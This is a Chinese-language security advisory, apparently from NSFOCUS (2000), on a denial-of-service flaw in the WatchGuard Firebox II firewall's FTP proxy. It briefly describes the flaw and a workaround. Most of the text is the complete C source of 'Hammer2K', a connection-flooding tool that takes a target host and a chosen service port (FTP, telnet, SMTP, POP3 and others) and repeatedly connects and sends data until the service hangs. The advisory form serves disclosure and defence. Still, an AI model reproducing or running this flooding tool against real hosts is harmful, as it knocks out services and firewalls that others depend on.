发布日期：2000-11-21
更新日期：2000-11-21

受影响系统：

   WatchGuard Firebox II
    - Linux kernel 2.0

描述：

---

Watchguard Firebox II 是一个流行的基于硬件的防火墙。

Firebox II 中存在一个漏洞，这个漏洞使得远程攻击者对
防火墙的 FTP 代理进行拒绝服务攻击。如果攻击者能连接
FTP 代理，当发起Flood攻击时代理和代理运行的端口将
挂起。并且在这个过程中，还会关掉防火墙上所有其他的服
务。攻击成功时，CPU 的占用率可达 100%，防火墙不得不
重启。

应该注意的是，外部攻击要想成功，FTP 代理必须在非信任
接口上（缺省时 FTP 代理不在非信任端口上）。


<* 来源：Raptor (raptor@0xdeadbeef.eu.org) *>


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#include <sys/stat.h>
#include <fcntl.h>
#include <sys/file.h>
#include <sys/types.h>
#include <unistd.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

char *msg = "123456789123456789123456789123456789123456789123456789";

int sock;
int b;
int X;
int p;
int l;
int len;
int a;
int Usage(char *ARG);
int tcp(void);
int armageddon(void);
int all(void);

struct hostent *he;
struct sockaddr_in target;

int main(int argc, char *argv[])
{

  if (argc < 4) {
     Usage(argv[0]);
  }

  if ((he=gethostbyname(argv[1])) == NULL) {
    printf("\n ERROR: hostname lookup failed \n");
    exit(1);
  }

  if (strcmp(argv[2], "-telnet")==0) {
    p = 23;
    l = 1800;
  } else if (strcmp(argv[2], "-inetd")==0) {
    p = 113;
    l = 4000;
  } else if (strcmp(argv[2], "-pop2")==0) {
    p = 109;
    l = 3000;
  } else if (strcmp(argv[2], "-imap2")==0) {
    p = 143;
    l = 4000;
  } else if (strcmp(argv[2], "-finger")==0) {
    p = 79;
    l = 1400;
  } else if (strcmp(argv[2], "-smtp")==0) {
    p = 25;
    l = 740;
  } else if (strcmp(argv[2], "-ftp")==0) {
    p = 21;
    l = 800;
  } else if (strcmp(argv[2], "-pop3")==0) {
    p = 110;
    l = 1350;
  } else if (strcmp(argv[2], "-netstat")==0) {
    p = 15;
    l = 1300;
  } else {
    printf("\n ERROR: Hammer2K doesn't support that service. \n");
  }

  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    printf("\n ERROR: fatal socket error \n");
    exit(1);
  }

  target.sin_family = AF_INET;
  target.sin_port = htons(p);
  target.sin_addr = *((struct in_addr *)he->h_addr);
  if (connect(sock, (struct sockaddr *)&target, sizeof(target)) == -1) {
    printf("\n ERROR: fatal connection error \n");
    exit(1);
  }

  a = atoi(argv[3]);

  if (strcmp(argv[3], "-A")==0) {
    armageddon();
  } else if (strcmp(argv[3], "-NA")==0) {
    tcp();
  } else {
    printf("\n ERROR: please use -A (Armageddon ON)"
           " or -NA (Armageddon off)\n");
  }
}

int Usage(char *ARG)
{
  printf("\n\n Hammer2K by Threx <threx@attrition.org>");
  printf("\n Usage: Hammer2K <host> <service> <armageddon-mode>");
  printf("\n ::<host>:: ");
  printf("\n   0.0.0.0   ");
  printf("\n   target.net ");
  printf("\n\n ::<service>:: ");
  printf("\n   -netstat ");
  printf("\n   -ftp     ");
  printf("\n   -telnet  ");
  printf("\n   -smtp    ");
  printf("\n   -finger  ");
  printf("\n   -pop2    ");
  printf("\n   -imap2   ");
  printf("\n   -pop3    ");
  printf("\n\n ::<armageddon-mode>:: ");
  printf("\n   -NA = Armageddon Mode Off");
  printf("\n   -A  = Armageddon Mode On\n\n");
  exit(1);
}

int armageddon(void)
{
  int loop;
  int number;

  loop = 10;

  printf("\n\nHammer2K by Threx <threx@attrition.org>");
  printf("\nHomepage http://inferno.tusculum.edu/~threx");
  printf("\n Armageddon Mode is [ON] "
         "(This will kill a port for one hour)\n");
  printf("\n\n Flooding port......\n\n");

  for (number = 1; number < loop; number++) {
    for (X = 1; X < l; X++) {
      if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        printf("\n ERROR: fatal socket error \n");
        exit(1);
      }
      target.sin_family = AF_INET;
      target.sin_port = htons(p);
      target.sin_addr = *((struct in_addr *)he->h_addr);

      if (connect(sock, (struct sockaddr *)&target,
                               sizeof(target)) == -1) {
        goto timer;
      }

      if ((send(sock, msg, len, 0)) == -1) {
        printf("\n ERROR: fatal send error \n");
        exit(1);
      }          
      len = strlen(msg);
      send(sock, msg, len, 0);
      close(sock);
    }

    timer:
    system("sleep 600");
  }

  printf("\n Port %d has been killed for one hour. \n\n", p);
  close(sock);

  return 0;
}

int tcp(void)
{
  printf("\n\nHammer2K by Threx <threx@attrition.org>");
  printf("\nHomepage http://inferno.tusculum.edu/~threx");
  printf("\n Armageddon Mode is [OFF]]\n");
  printf("\n\n Flooding port......\n\n");

  for (X = 1; X < l; X++) {

    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
      printf("\n ERROR: fatal socket error \n");
      exit(1);
    }

    target.sin_family = AF_INET;
    target.sin_port = htons(p);
    target.sin_addr = *((struct in_addr *)he->h_addr);

    if (connect(sock, (struct sockaddr *)&target,
                                sizeof(target)) == -1) {
      printf("\n Port %d: Killed \n", p);
      exit(1);
    }

    if ((send(sock, msg, len, 0)) == -1) {
      printf("\n ERROR: fatal send error \n");
      exit(1);
    }
            
    len = strlen(msg);
    send(sock, msg, len, 0);
    close(sock);
  }

  printf("\n Port %d: Port assumed to be open.\n\n", p, l);
  close(sock);

  return 0;
}


建议：

---

临时解决办法：

  NSFOCUS建议您在没有打上补丁时不要把 FTP 代理放在非信任
  接口上。


厂商补丁：

  暂无


浏览次数：6616
严重程度：0（网友投票）